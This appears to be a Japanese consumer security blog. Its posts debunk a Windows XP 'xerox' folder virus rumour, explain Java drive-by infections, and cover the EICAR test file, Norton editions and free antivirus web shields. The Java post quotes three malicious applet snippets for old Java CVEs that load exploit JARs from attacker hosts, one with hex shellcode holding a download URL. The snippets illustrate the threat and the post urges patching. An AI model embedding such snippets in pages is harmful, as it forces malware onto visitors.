無題なブログ

コンピュータウイルスと「xerox」フォルダの脅威ガイド 【改訂版】

　Windows XPパソコンにて、「C:\Program Files\xerox\」というフォルダ（ディレクトリ）の存在が、コンピュータウイルスの感染兆候だとか何だとか・・・

・ 会社名「ゼロックス社」（Xerox）のこと
　　（「xエロx」ではない）
・ 表面上は空のフォルダ
・ システムにより保護されてるためフォルダの削除は不可能
・ Xerox関連製品の利用の有無は関係なく、XP Home Edition/Professionalそのもののフォルダ
・ ウイルスやスパイウェアの感染を示すというデマ情報あり

Windows® XPでの "\Program Files\Xerox\nwwia" フォルダーについて
Windows® XPの Program Files の下に、標記名のフォルダーが存在していますが、これはウィルスあるいはその生成物ではありません。
http://www.fujixerox.co.jp/company/news/release/2001/1228_nwwia.html

<systemdrive>\Program Files 配下の \xerox\nwwia フォルダについて
この動作は Windows XP の仕様です。
xerox\nwwia フォルダは XEROX Corporation 様より提供されている WIA (Windows Image Acquisition) 対応のネットワークスキャナを利用するために用意されております。また、システムにより保護されているフォルダであるため、削除することはできません。
http://support.microsoft.com/kb/418634/ja

　私のおすすめ:
インストール作業不要！ お手軽高速ウイルス駆除ツール （フリーソフト）

サイトを単に見ただけで強制的なウィルス被害！ 感染攻撃例は？

　サイトを単にブラウザで開いただけ（見ただけ!!）で強制的なウィルス感染被害にあってしまう脅威が確認されてますなー。普通何かしらのプログラムを使いたい場合、ユーザーが実行ファイルを手動でダウンロードしてきて、そのファイルを起動させて始めて利用できるわけですが、ソフトウェアの脆弱性を悪用すると、そういう処理をすっ飛ばして不正な処理の実行が実現されちゃうん。

Java のバージョンが古いままだと・・・ 【Exploit Java Vulnerability】

　たとえば、米国Oracle（オラクル）によるJava（JRE）の脆弱性を悪用した攻撃例をいくつか挙げときましょう。Javaの悪用は、2010年あたりからウイルス攻撃者にチョー人気です。主要なブラウザ（Internet Explorer、Firefox、Chrome、Opera）上で動作するJavaを経由してWindowsパソコンを一発で陥落させることができます。

　まず、攻撃ページへブラウザを強制的に誘導させるコードを、ハッキングして乗っ取った一般の正規サイトなどに挿入します。他にもメールだったりTwitterだったりで攻撃ページへと誘導してもＯＫ。攻撃ページには下のようなHTMLタグを用意しておきます。

■ タイプＡ （脆弱性識別番号：CVE-2010-0840）
　「dfgfhjkhcfryjtdezsf.jar」ファイルにはJavaの脆弱性を攻撃する不正な処理が含まれていて、２行目のURLアドレスへアクセスすると落ちてくる実行ファイルを勝手にダウンロードしてきて強制的に起動する。

<applet code='folder.Globus.class' archive='http://＊＊＊.cz.cc/dfgfhjkhcfryjtdezsf.jar'>
<param name='url' value='http://＊＊＊.cz.cc/out.php?a=QQkEEkcJBQQEBAQG&p=1'/>
</applet>

■ タイプＢ （脆弱性識別番号：CVE-2010-0842）
　「xoxo.jar」ファイルにはJavaの脆弱性を攻撃する不正な処理が含まれていて、数字の羅列（サウンドデータ）の中に含まれてるURLアドレスへアクセスすると落ちてくる実行ファイルを勝手にダウンロードしてきて強制的に起動する。

<applet archive="xoxo.jar" code="zap.class" width="100" height="100"><param name="pix" value="4952455a000000010000000200000065534f4e476d53cb6d00000000477fff00010000010100000004001c0008007f00000000000000000000000000000000000000000000000000000000000000015449544c9fb1b50d0a7efb709c86feb03593e25ede（〜中略〜）8e4e0eecff5504935033c05050568b550483c27f83c2315250b8361a2f70ff55045b33ff5756b898fe8a0eff550457b8efcee060ff5504687474703a2f2f636f6e7363696f7573646f6e75742e76762e63632f73686f777468726561642e7068703f743d313031363432"></applet>

■ タイプＣ （脆弱性識別番号：CVE-2010-4452）
　「ftzxcvb(.class)」ファイルにはJavaの脆弱性を攻撃する不正な処理が含まれていて、４行目に指定されてるURLアドレスへアクセスすると落ちてくる実行ファイルを勝手にダウンロードしてきて強制的に起動する。

<applet>
<param name="code" value="http://＊＊＊/ftzxcvb">
<param name="codebase" value="file:C:\Program Files\java\jre6\lib\ext">
<param name="foreground" value="http://＊＊＊.cz.cc/out.php?a=QQkFBg0DBwYNAwwFEkcJBQYNDAYMAwQNAA==&p=8">
</applet>

　これらは、すべてブラウザ内部で処理されるので、ユーザーは裏で起こってるトンでもない事態に気づきません。運よく気付くのは、強制的に実行させられてしまったウイルスそのものの動き・・・結局は後の祭りの状態ってことですな。

ウイルス感染被害にあわない条件

1. そもそもJava（JRE）が導入されてない
　Javaが導入されてないと攻撃しようがないので影響ありません。ただ、一般的なメーカー製パソコンには購入時点であらかじめJavaがインストールされてる場合が多いです。トンでもなく危険なソフトがまさか自分のパソコンに導入されているとはつゆ知らず・・・なんてな状態の人がいるん。

2. Javaは導入されているが、脆弱性がすでに解消されてる最新版を導入してある
　タイプＡ/Ｂは「Java 6 Update 19」（2010年4月）、タイプＣは「Java 6 Update 24」（2011年2月）にて不正な処理が機能しないよう問題の修正が行われてます。が、現実的には対処してないユーザーが多い結果としてJavaの悪用が人気なん。

3．環境がMac OS、Linux、携帯電話・スマートフォン、ゲーム機である
　影響があるのはWindowsパソコン（Windows XP/Vista/7）だけです。攻撃のターゲットは全Windowsユーザーになるん。

・ ウイルス感染被害をもたらす超危険なソフトウェア４種
・ Javaの更新作業の代行なぞしてくれないセキュリティソフト

　私のおすすめ:
ウイルス・セキュリティにまつわるテキト〜な特集ページ

ウイルス対策ソフト・セキュリティソフトがちゃんと動いてるか確認できるサイト

ウイルス対策ソフト・セキュリティソフトがちゃんと動いてるか確認できるサイト

Windowsパソコンをターゲットとするマルウェア（ウイルス・トロイの木馬・スパイウェア・ワームなど）が蔓延してます。

現在のウイルス攻撃の目的は「お金儲け」「情報搾取」です。

なので、市場シェアがもっとも大きくユーザー数の多いWindowsパソコンが特に狙われてます。

Windowsそのものにはウイルス検知機能がまったく備わってないので、ウイルス対策ソフト・セキュリティソフト・アンチウイルスソフトの導入が必須となってます。

・ アンチウイルス対策ソフト一覧
・ ウイルス対策ソフトの導入でウイルス対策が完了したと思ってると危険

■ ちゃんとソフトが可動してるか確認チェックできるサイト

導入してあるウイルス対策ソフトがはたしてちゃんとパソコンを護ってくれてるのか？

本物のウイルスをゲットしてきて確認する方法もなくはないですが、さすがに普通に落ちてるようなシロモノではないですし危険です。（＾＾;

そこで利用するのが「eicar.com」というファイルです。

コイツはこの世に存在するすべてのウイルス対策ソフトが”ウイルス”と（故意に）検出判定します。

EICAR（エイカー）というセキュリティ団体の公式サイトから誰でもダウンロード可能です。

実際にはウイルスではなく、あくまで動作検証用のテストファイルで、パソコンを破壊したり、情報を盗んだりするような危険は処理はなく無害なものです。

■ 「eicar.com」をダウンロードする

まずはコチラのページにアクセスして一番下らへんにある表の左側の「eicar.com」のリンクをクリックしてみましょう。

ウイルス対策ソフトがちゃんと動いてれば、さっそくビビン（？）と反応して検出警告画面などを拝めるはずです。

　

このテストウイルスをいったんデスクトップにダウンロードして保存したいならば、お隣のテキストファイル版「eicar.com.txt」をブラウザの右クリックメニューで[名前を付けて保存]します。

ウイルス対策ソフトによっては、これすらも過剰反応してしまう場合がありますが、デスクトップに置いたら、拡張子の「.txt」部分を削ってみてください。

ちなみに、ウイルスバスターを提供してるトレンドマイクロのサイトからでもまったく同じものが入手できます。

・ EICARウイルスについてのいろいろ情報

　私のおすすめ:
ハラハラドキドキできる？ ウイルス感染疑似体験！

『ノートン360』と『ノートン インターネットセキュリティ』の違いは何？

　世界のセキュリティ市場でシェア１位の米国シマンテック（Symantec）が提供してる個人向けセキュリティソフトというと『ノートン360』（Norton 360）と『ノートン インターネットセキュリティ』（Norton Internet Security）でしょう。この２つの違いは何でしょうか？

　　

　基本的に機能の有無です。『ノートン360』には、パソコンの最適化・高速化を行うPCメンテナンス機能と、ファイルのバックアップ機能が用意されてます。その機能が付いてないのが『ノートン インターネットセキュリティ』で、こちらの方がお安い価格ということになります。値段の差は1,800円ぐらいです。

ノートン 360
・ダウンロード版価格：￥7,980
・パッケージ版価格：￥8,480

ノートン インターネットセキュリティ
・ダウンロード版価格：￥6,180
・パッケージ版価格：￥6,480

★ ノートンをお安い価格で通販できる!?
　シマンテックの公式ストアの価格は上のような感じなんですが、これをかなーり驚きのお安い価格で入手する方法がありやすので、こちらにて簡単に紹介しときます。

　私のおすすめ:
驚きのお安い価格で『ノートン360』と『ノートン インターネットセキュリティ』を

無料ウイルス対策ソフトのウェブシールド （転送データのウイルススキャン）

　無料定番４種ウイルス対策ソフト・セキュリティソフトのインターネットの接続による転送データをウイルススキャンする機能の対応情報を簡単に〜。基本的にウイルススキャンを行うタイミングの違いですな。

□ 対応ウイルス対策ソフト
　受信途中（受信前）の転送データがウイルススキャン対象となります。スキャン処理が行われる分、接続パフォーマンスに影響を与えます。
・ avast! Free Antivirus ... 「ウェブシールド」機能。
・ Microsoft Security Essentials ... [Windows Vista/7の場合] 「ネットワーク検査システム」機能。

□ 未対応ウイルス対策ソフト
　受信後のブラウザのキャッシュデータが通常の常駐監視機能によってウイルススキャン対象となります。
・ AVG Anti-Virus Free Edition ... 機能なし。有料版には「Webシールド」あり。
・ Avira AntiVir Personal ... 機能なし。有料版には「WebGuard」あり。
・ Microsoft Security Essentials ... [Windows XPの場合] システムの機能を利用する関係で機能なし。

★ ウェブ経由の強制ウイルス感染を回避するには？ （例：ガンブラー改ざん騒動）
　ウイルス対策ソフト・セキュリティソフトではまったくもって完璧に防げません。セキュリティソフト一本でもってウイルス対策のすべてを依存させてる選ばれし情弱人間がウイルス感染被害にあう仕組みになってます。たとえば、あの有名な「ノートン」とか「ウイルスバスター」を導入していても、この対策をちゃんとやってないパソコンはウイルス感染被害にあう確率がべら棒に上がります。
⇒ 被害を回避するにはパソコンに導入されてるソフトウェアのセキュリティホールを塞ぐことが大事！

　私のおすすめ:
コンピュータウイルス感染疑似体験サイト